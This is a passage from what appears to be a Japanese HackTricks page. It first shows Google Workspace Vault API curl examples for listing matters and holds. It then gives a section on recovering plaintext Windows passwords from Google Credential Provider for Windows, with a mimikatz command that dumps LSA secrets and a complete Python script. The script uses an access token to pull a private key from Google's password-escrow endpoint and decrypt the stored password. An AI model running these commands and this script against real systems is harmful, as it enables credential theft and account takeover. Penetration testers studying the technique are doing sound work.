"https://sheets.googleapis.com/v4/spreadsheets/SPREADSHEET_ID/values/Sheet1!A:C:append?valueInputOption=USER_ENTERED"
```
</details>

<details>

<summary>https://www.googleapis.com/auth/ediscovery (Google Vault)</summary>

**Google Workspace Vault**は、Gmail、Drive、ChatなどのGoogle Workspaceサービスに保存されている組織のデータのデータ保持、検索、エクスポートのためのツールを提供するGoogle Workspaceのアドオンです。

- Google Workspace Vaultにおける**Matter**は、特定のケース、調査、または法的問題に関連するすべての情報を整理し、グループ化する**コンテナ**です。これは、その特定の問題に関連する**Holds**、**Searches**、および**Exports**を管理するための中心的なハブとして機能します。
- Google Workspace Vaultにおける**Hold**は、特定のユーザーまたはグループに適用される**保存アクション**であり、Google Workspaceサービス内のデータの**削除または変更を防ぐ**ためのものです。Holdsは、関連情報が法的なケースや調査の期間中に無傷で変更されないようにします。
```bash
# List matters
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters?pageSize=10"

# Create matter
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"name": "Legal Case 2024",
"description": "Matter for the upcoming legal case involving XYZ Corp.",
"state": "OPEN"
}' \
"https://vault.googleapis.com/v1/matters"

# Get specific matter
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters/<MATTER_ID>"

# List holds in a matter
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters/<MATTER_ID>/holds?pageSize=10"
```
より多くの [API エンドポイントはドキュメントにあります](https://developers.google.com/vault/reference/rest)。

</details>

## GCPW - 平文パスワードの回復

GCPWを悪用してパスワードの平文を回復するには、**mimikatz**を使用して**LSASS**から暗号化されたパスワードをダンプすることが可能です：
```bash
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
```
次に、画像のように `Chrome-GCPW-<sid>` のような秘密を検索します：

<figure><img src="../../../images/telegram-cloud-photo-size-4-6044191430395675441-x.jpg" alt=""><figcaption></figcaption></figure>

次に、スコープ `https://www.google.com/accounts/OAuthLogin` を持つ **アクセストークン** を使用して、パスワードを復号化するための秘密鍵をリクエストすることができます：

<details>

<summary>アクセストークン、暗号化されたパスワード、およびリソースIDを指定して平文のパスワードを取得するためのスクリプト</summary>
```python
import requests
from base64 import b64decode
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA

def get_decryption_key(access_token, resource_id):
try:
# Request to get the private key
response = requests.get(
f"https://devicepasswordescrowforwindows-pa.googleapis.com/v1/getprivatekey/{resource_id}",
headers={
"Authorization": f"Bearer {access_token}"
}
)

# Check if the response is successful
if response.status_code == 200:
private_key = response.json()["base64PrivateKey"]
# Properly format the RSA private key
private_key = f"-----BEGIN RSA PRIVATE KEY-----\n{private_key.strip()}\n-----END RSA PRIVATE KEY-----"
return private_key
else:
raise ValueError(f"Failed to retrieve private key: {response.text}")

except requests.RequestException as e:
print(f"Error occurred while requesting the private key: {e}")
return None

def decrypt_password(access_token, lsa_secret):
try:
# Obtain the private key using the resource_id
resource_id = lsa_secret["resource_id"]
encrypted_data = b64decode(lsa_secret["encrypted_password"])

private_key_pem = get_decryption_key(access_token, resource_id)
print("Found private key:")
print(private_key_pem)

if private_key_pem is None:
raise ValueError("Unable to retrieve the private key.")

# Load the RSA private key
rsa_key = RSA.import_key(private_key_pem)
key_size = int(rsa_key.size_in_bits() / 8)

# Decrypt the encrypted data
cipher_rsa = PKCS1_OAEP.new(rsa_key)
session_key = cipher_rsa.decrypt(encrypted_data[:key_size])

# Extract the session key and other data from decrypted payload
session_header = session_key[:32]
session_nonce = session_key[32:]
mac = encrypted_data[-16:]

# Decrypt the AES GCM data
aes_cipher = AES.new(session_header, AES.MODE_GCM, nonce=session_nonce)
decrypted_password = aes_cipher.decrypt_and_verify(encrypted_data[key_size:-16], mac)

print("Decrypted Password:", decrypted_password.decode("utf-8"))

except Exception as e:
print(f"Error occurred during decryption: {e}")

# CHANGE THIS INPUT DATA!
access_token = "<acces_token>"
lsa_secret = {
"encrypted_password": "<encrypted-password>",
"resource_id": "<resource-id>"
}

decrypt_password(access_token, lsa_secret)
```
</details>

Chromiumのソースコードでこれらの主要なコンポーネントを見つけることができます：

- APIドメイン: [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22&type=code)
- APIエンドポイント: [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70)

## 参考文献

- [https://www.youtube.com/watch?v=FEQxHRRP_5I](https://www.youtube.com/watch?v=FEQxHRRP_5I)
- [https://issues.chromium.org/issues/40063291](https://issues.chromium.org/issues/40063291)

{{#include ../../../banners/hacktricks-training.md}}
